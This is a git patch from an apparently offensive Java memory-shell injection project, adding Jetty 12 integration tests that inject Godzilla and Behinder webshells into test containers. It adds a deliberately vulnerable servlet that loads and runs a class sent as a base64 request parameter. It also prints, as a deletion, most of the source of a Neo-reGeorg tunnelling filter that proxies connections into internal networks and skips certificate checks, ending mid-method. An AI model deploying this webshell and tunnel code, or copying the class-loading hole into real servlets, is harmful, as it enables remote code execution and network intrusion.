From d52f4726aa742595822ea1671de9f7f31a2c5d47 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 13 May 2025 18:24:02 +0800 Subject: [PATCH] test: add jetty ee8 ~ ee10 cases --- .../docker-compose/jetty/Dockerfile-ee10 | 7 + .../docker-compose/jetty/Dockerfile-ee8 | 7 + .../docker-compose/jetty/Dockerfile-ee9 | 7 + .../jetty/docker-compose-12-jre21-ee10.yaml | 12 + .../jetty/docker-compose-12-jre21-ee8.yaml | 12 + .../jetty/docker-compose-12-jre21-ee9.yaml | 12 + .../jetty/Jetty11ContainerTest.java | 20 +- .../jetty/Jetty12ee10ContainerTest.java | 73 +++ .../jetty/Jetty12ee8ContainerTest.java | 73 +++ .../jetty/Jetty12ee9ContainerTest.java | 73 +++ .../jakarta/Base64ClassLoaderServlet.java | 54 ++ .../src/main/java/jakarta/TestServlet.java | 8 - .../src/main/webapp/WEB-INF/web.xml | 35 ++ vul/vul-webapp/src/main/java/NeoreGeorg.java | 536 ------------------ 14 files changed, 379 insertions(+), 550 deletions(-) create mode 100644 integration-test/docker-compose/jetty/Dockerfile-ee10 create mode 100644 integration-test/docker-compose/jetty/Dockerfile-ee8 create mode 100644 integration-test/docker-compose/jetty/Dockerfile-ee9 create mode 100644 integration-test/docker-compose/jetty/docker-compose-12-jre21-ee10.yaml create mode 100644 integration-test/docker-compose/jetty/docker-compose-12-jre21-ee8.yaml create mode 100644 integration-test/docker-compose/jetty/docker-compose-12-jre21-ee9.yaml create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java create mode 100644 vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java delete mode 100644 vul/vul-webapp/src/main/java/NeoreGeorg.java diff --git a/integration-test/docker-compose/jetty/Dockerfile-ee10 b/integration-test/docker-compose/jetty/Dockerfile-ee10 new file mode 100644 index 00000000..d9aaf36c --- /dev/null +++ b/integration-test/docker-compose/jetty/Dockerfile-ee10 @@ -0,0 +1,7 @@ +FROM jetty:12.0-jre21 + +RUN java -jar /usr/local/jetty/start.jar --add-modules=ee10-deploy + +EXPOSE 8080 + +CMD ["java", "-jar", "/usr/local/jetty/start.jar"] \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/Dockerfile-ee8 b/integration-test/docker-compose/jetty/Dockerfile-ee8 new file mode 100644 index 00000000..e9b2dbb4 --- /dev/null +++ b/integration-test/docker-compose/jetty/Dockerfile-ee8 @@ -0,0 +1,7 @@ +FROM jetty:12.0-jre21 + +RUN java -jar /usr/local/jetty/start.jar --add-modules=ee8-deploy + +EXPOSE 8080 + +CMD ["java", "-jar", "/usr/local/jetty/start.jar"] \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/Dockerfile-ee9 b/integration-test/docker-compose/jetty/Dockerfile-ee9 new file mode 100644 index 00000000..6a107226 --- /dev/null +++ b/integration-test/docker-compose/jetty/Dockerfile-ee9 @@ -0,0 +1,7 @@ +FROM jetty:12.0-jre21 + +RUN java -jar /usr/local/jetty/start.jar --add-modules=ee9-deploy + +EXPOSE 8080 + +CMD ["java", "-jar", "/usr/local/jetty/start.jar"] \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee10.yaml b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee10.yaml new file mode 100644 index 00000000..c6dc2b07 --- /dev/null +++ b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee10.yaml @@ -0,0 +1,12 @@ +services: + jetty1221ee10: + build: + dockerfile: ./Dockerfile-ee10 + context: . + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/var/lib/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee8.yaml b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee8.yaml new file mode 100644 index 00000000..41828a6f --- /dev/null +++ b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee8.yaml @@ -0,0 +1,12 @@ +services: + jetty1221ee8: + build: + dockerfile: ./Dockerfile-ee8 + context: . + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee9.yaml b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee9.yaml new file mode 100644 index 00000000..79bf6956 --- /dev/null +++ b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee9.yaml @@ -0,0 +1,12 @@ +services: + jetty1221ee9: + build: + dockerfile: ./Dockerfile-ee9 + context: . + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/var/lib/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index bf3aad33..458a8107 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -17,6 +17,7 @@ import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; +import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple; import java.util.List; import java.util.stream.Stream; @@ -33,7 +34,7 @@ import static org.hamcrest.MatcherAssert.assertThat; @Slf4j @Testcontainers public class Jetty11ContainerTest { - public static final String imageName = "jetty:11-jre11"; + public static final String imageName = "jetty:11.0-jre17"; static Network network = Network.newNetwork(); @Container public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() @@ -52,12 +53,19 @@ public class Jetty11ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, - ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JETTY_AGENT_HANDLER, + ShellType.JETTY_AGENT_HANDLER_ASM + ); + List testPackers = List.of(Packers.JSP); + List> unSupportedCases = List.of( + Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar), // jdk module + Triple.of(ShellType.JETTY_AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar) // jdk module ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta + unSupportedCases, List.of(ShellTool.AntSword) ); } @@ -70,6 +78,6 @@ public class Jetty11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python); + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java new file mode 100644 index 00000000..0c809431 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty12ee10ContainerTest { + public static final String imageName = "jetty:12.0-jre21-ee10"; + public static final String serviceName = "jetty1221ee10"; + + @Container + public static final DockerComposeContainer compose = + new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee10.yaml")) + .withExposedService(serviceName, 8080); + + static Stream casesProvider() { + Server server = Server.Jetty; + List supportedShellTypes = List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER + ); + List testPackers = List.of(Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, + null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta + ); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + public static String getUrl() { + String host = compose.getServiceHost(serviceName, 8080); + int port = compose.getServicePort(serviceName, 8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java new file mode 100644 index 00000000..a404db34 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty12ee8ContainerTest { + public static final String imageName = "jetty:12.0-jre21-ee8"; + public static final String serviceName = "jetty1221ee8"; + + @Container + public static final DockerComposeContainer compose = + new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee8.yaml")) + .withExposedService(serviceName, 8080); + + static Stream casesProvider() { + Server server = Server.Jetty; + List supportedShellTypes = List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + ); + List testPackers = List.of(Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, + null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta + ); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + public static String getUrl() { + String host = compose.getServiceHost(serviceName, 8080); + int port = compose.getServicePort(serviceName, 8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java new file mode 100644 index 00000000..eee28680 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty12ee9ContainerTest { + public static final String imageName = "jetty:12.0-jre21-ee9"; + public static final String serviceName = "jetty1221ee9"; + + @Container + public static final DockerComposeContainer compose = + new DockerComposeContainer<>(new File("docker-compose/jetty/docker-compose-12-jre21-ee9.yaml")) + .withExposedService(serviceName, 8080); + + static Stream casesProvider() { + Server server = Server.Jetty; + List supportedShellTypes = List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER + ); + List testPackers = List.of(Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, + null, List.of(ShellTool.AntSword, ShellTool.NeoreGeorg) // AntSword not supported Jakarta + ); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName(serviceName).get().getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + public static String getUrl() { + String host = compose.getServiceHost(serviceName, 8080); + int port = compose.getServicePort(serviceName, 8080); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); + } +} diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java new file mode 100644 index 00000000..9d2da258 --- /dev/null +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/Base64ClassLoaderServlet.java @@ -0,0 +1,54 @@ +package jakarta; + +import jakarta.servlet.*; + +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class Base64ClassLoaderServlet extends ClassLoader implements Servlet { + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + String data = req.getParameter("data"); + try { + byte[] bytes = decodeBase64(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + static byte[] decodeBase64(String base64Str) throws Exception { + try { + Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception var4) { + Class decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } +} diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java index 163c4169..e896f0d7 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java @@ -6,15 +6,7 @@ import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.*; -import java.util.zip.GZIPInputStream; /** * @author ReaJason diff --git a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index 450d47ff..51578f9e 100644 --- a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -9,4 +9,39 @@ index.html + + test + jakarta.TestServlet + + + test + /test + + + + upload + jakarta.UploadServlet + + + upload + /upload + + + + java-deserialize + jakarta.JavaReadObjServlet + + + java-deserialize + /java_deserialize + + + + b64 + jakarta.Base64ClassLoaderServlet + + + b64 + /b64 + \ No newline at end of file diff --git a/vul/vul-webapp/src/main/java/NeoreGeorg.java b/vul/vul-webapp/src/main/java/NeoreGeorg.java deleted file mode 100644 index 97ca8825..00000000 --- a/vul/vul-webapp/src/main/java/NeoreGeorg.java +++ /dev/null @@ -1,536 +0,0 @@ -import javax.net.ssl.*; -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.lang.reflect.Method; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.*; - -/** - * @Modifier c0ny1, L, BeichenDream - * @CreateDate 2021-08-17 - * @Description 将 Neo-reGeorg jsp 服务端改为 java 代码,提高兼容性 - */ - -public class NeoreGeorg implements Filter, HostnameVerifier, X509TrustManager { - private char[] en; - private byte[] de; - - public static java.util.Map sessions = new java.util.HashMap(); - public static Map namespace = new HashMap(); - String chars = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm"; - String hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn=="; - byte[] base64Bytes = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1}; - - - @Override - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - Object[] args = new Object[]{ - request, - response, - chars.toCharArray(), - base64Bytes, - 200, - 513, - 524288, - hello, - 1447564139, - 0, - 0, - 0, - }; - equals(args); - return; - } catch (Exception ignored) { - } - filterChain.doFilter(servletRequest, servletResponse); - } - - public boolean equals(Object obj) { - try { - Object[] args = (Object[]) obj; - HttpServletRequest request = (HttpServletRequest) args[0]; - HttpServletResponse response = (HttpServletResponse) args[1]; - en = (char[]) args[2]; - de = (byte[]) args[3]; - int HTTPCODE = (Integer) args[4]; - int READBUF = (Integer) args[5]; - int MAXREADSIZE = (Integer) args[6]; - String GeorgHello = (String) args[7]; - int BLV_L_OFFSET = (Integer) args[8]; - - int USE_REQUEST_TEMPLATE = (Integer) args[9]; - int START_INDEX = (Integer) args[10]; - int END_INDEX = (Integer) args[11]; - - int DATA = 1; - int CMD = 2; - int MARK = 3; - int STATUS = 4; - int ERROR = 5; - int IP = 6; - int PORT = 7; - int REDIRECTURL = 8; - int FORCEREDIRECT = 9; - - - Writer out = response.getWriter(); - - Object[] info = new Object[40]; - Object[] rinfo = new Object[40]; - String requestDataHead = ""; - String requestDataTail = ""; - try { - if (request.getContentLength() != -1) { - StringBuilder inputData = new StringBuilder(); - InputStream in = request.getInputStream(); - while (true) { - int buffLen = in.available(); - if (buffLen == -1) { - break; - } - byte[] buff = new byte[buffLen]; - if (in.read(buff) == -1) { - break; - } - inputData.append(new String(buff)); - } - - if (USE_REQUEST_TEMPLATE == 1) { - requestDataHead = inputData.substring(0, START_INDEX); - requestDataTail = inputData.substring(inputData.length() - END_INDEX, inputData.length()); - - inputData = new StringBuilder(inputData.substring(START_INDEX)); - inputData = new StringBuilder(inputData.substring(0, inputData.length() - END_INDEX)); - } - byte[] data = b64de(inputData.toString()); - info = blv_decode(data, BLV_L_OFFSET); - } - } catch (Exception e) { - out.write(e.toString()); - out.flush(); - out.close(); - return false; - } - - String rUrl = (String) info[REDIRECTURL]; - - if (rUrl != null) { - String force = (String) info[FORCEREDIRECT]; - if (force.compareTo("TRUE") == 0 || !islocal(rUrl)) { - info[REDIRECTURL] = null; - info[FORCEREDIRECT] = null; - response.reset(); - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - conn.setDoOutput(true); - - // ignore ssl verify - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext ctx = SSLContext.getInstance("SSL"); - ctx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(ctx.getSocketFactory()); - } - - Enumeration enu = request.getHeaderNames(); - List keys = Collections.list(enu); - Collections.reverse(keys); - for (String key : keys) { - String value = request.getHeader(key); - conn.setRequestProperty(headerkey(key), value); - } - - if (request.getContentLength() != -1) { - OutputStream output; - try { - output = conn.getOutputStream(); - } catch (Exception e) { - return false; - } - - String newData = requestDataHead + b64en(blv_encode(info, BLV_L_OFFSET)) + requestDataTail; - byte[] data = newData.getBytes(); - output.write(data, 0, data.length); - output.flush(); - output.close(); - } - - for (String key : conn.getHeaderFields().keySet()) { - if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")) { - String value = conn.getHeaderField(key); - response.setHeader(key, value); - } - } - - InputStream hin; - if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { - hin = conn.getInputStream(); - } else { - hin = conn.getErrorStream(); - if (hin == null) { - response.setStatus(HTTPCODE); - return false; - } - } - - int i; - byte[] buffer = new byte[1024]; - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - while ((i = hin.read(buffer)) != -1) { - byte[] data = new byte[i]; - System.arraycopy(buffer, 0, data, 0, i); - baos.write(data); - } - String responseBody = baos.toString(); - response.addHeader("Content-Length", Integer.toString(responseBody.length())); - response.setStatus(conn.getResponseCode()); - out.write(responseBody.trim()); - out.flush(); - out.close(); - return false; - } - } - response.resetBuffer(); - response.setStatus(HTTPCODE); - String cmd = (String) info[CMD]; - if (cmd != null) { - String mark = (String) info[MARK]; - if (cmd.compareTo("CONNECT") == 0) { - try { - String target = (String) info[IP]; - int port = Integer.parseInt((String) info[PORT]); - SocketChannel socketChannel = SocketChannel.open(); - socketChannel.socket().connect(new InetSocketAddress(target, port), 3000); - socketChannel.configureBlocking(false); - sessions.put(mark, socketChannel); - rinfo[STATUS] = "OK"; - } catch (Exception e) { - rinfo[STATUS] = "FAIL"; - rinfo[ERROR] = e.toString(); - } - } else if (cmd.compareTo("DISCONNECT") == 0) { - SocketChannel socketChannel = (SocketChannel) sessions.get(mark); - try { - socketChannel.socket().close(); - } catch (Exception e) { - } - sessions.remove(mark); - } else if (cmd.compareTo("READ") == 0) { - SocketChannel socketChannel = (SocketChannel) sessions.get(mark); - try { - if (socketChannel != null) { - ByteBuffer buf = ByteBuffer.allocate(READBUF); - int bytesRead = socketChannel.read(buf); - int maxRead = MAXREADSIZE; - int readLen = 0; - ByteArrayOutputStream readData = new ByteArrayOutputStream(); - while (bytesRead > 0) { - byte[] block = new byte[bytesRead]; - System.arraycopy(buf.array(), 0, block, 0, bytesRead); - readData.write(block); - ((java.nio.Buffer) buf).clear(); - readLen += bytesRead; - if (bytesRead < READBUF || readLen >= maxRead) { - rinfo[DATA] = readData.toByteArray(); - break; - } - bytesRead = socketChannel.read(buf); - } - } - rinfo[STATUS] = "OK"; - } catch (Exception e) { - rinfo[STATUS] = "FAIL"; - rinfo[ERROR] = e.toString(); - } - - } else if (cmd.compareTo("FORWARD") == 0) { - SocketChannel socketChannel = (SocketChannel) sessions.get(mark); - try { - byte[] writeData = (byte[]) info[DATA]; - ByteBuffer buf = ByteBuffer.allocate(writeData.length); - buf.put(writeData); - buf.flip(); - - while (buf.hasRemaining()) { - socketChannel.write(buf); - } - - rinfo[STATUS] = "OK"; - - } catch (Exception e) { - rinfo[STATUS] = "FAIL"; - rinfo[ERROR] = e.toString(); - socketChannel.socket().close(); - } - } - out.write(b64en(blv_encode(rinfo, BLV_L_OFFSET))); - out.flush(); - out.close(); - } else { - out.write(new String(b64de(GeorgHello))); - out.flush(); - out.close(); - } - } catch (Exception e) { - } - return false; - } - - - public String b64en(byte[] data) { - StringBuffer sb = new StringBuffer(); - int len = data.length; - int i = 0; - int b1, b2, b3; - while (i < len) { - b1 = data[i++] & 0xff; - if (i == len) { - sb.append(en[b1 >>> 2]); - sb.append(en[(b1 & 0x3) << 4]); - sb.append("=="); - break; - } - b2 = data[i++] & 0xff; - if (i == len) { - sb.append(en[b1 >>> 2]); - sb.append(en[((b1 & 0x03) << 4) - | ((b2 & 0xf0) >>> 4)]); - sb.append(en[(b2 & 0x0f) << 2]); - sb.append("="); - break; - } - b3 = data[i++] & 0xff; - sb.append(en[b1 >>> 2]); - sb.append(en[((b1 & 0x03) << 4) - | ((b2 & 0xf0) >>> 4)]); - sb.append(en[((b2 & 0x0f) << 2) - | ((b3 & 0xc0) >>> 6)]); - sb.append(en[b3 & 0x3f]); - } - return sb.toString(); - } - - - public byte[] b64de(String str) { - byte[] data = str.getBytes(); - int len = data.length; - ByteArrayOutputStream buf = new ByteArrayOutputStream(len); - int i = 0; - int b1, b2, b3, b4; - while (i < len) { - do { - b1 = de[data[i++]]; - } while (i < len && b1 == -1); - if (b1 == -1) { - break; - } - do { - b2 = de[data[i++]]; - } while (i < len && b2 == -1); - if (b2 == -1) { - break; - } - buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); - do { - b3 = data[i++]; - if (b3 == 61) { - return buf.toByteArray(); - } - b3 = de[b3]; - } while (i < len && b3 == -1); - if (b3 == -1) { - break; - } - buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); - do { - b4 = data[i++]; - if (b4 == 61) { - return buf.toByteArray(); - } - b4 = de[b4]; - } while (i < len && b4 == -1); - if (b4 == -1) { - break; - } - buf.write((int) (((b3 & 0x03) << 6) | b4)); - } - return buf.toByteArray(); - } - - - static String headerkey(String str) throws Exception { - String out = ""; - for (String block : str.split("-")) { - out += block.substring(0, 1).toUpperCase() + block.substring(1); - out += "-"; - } - return out.substring(0, out.length() - 1); - } - - - boolean islocal(String url) throws Exception { - String ip = (new URL(url)).getHost(); - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = 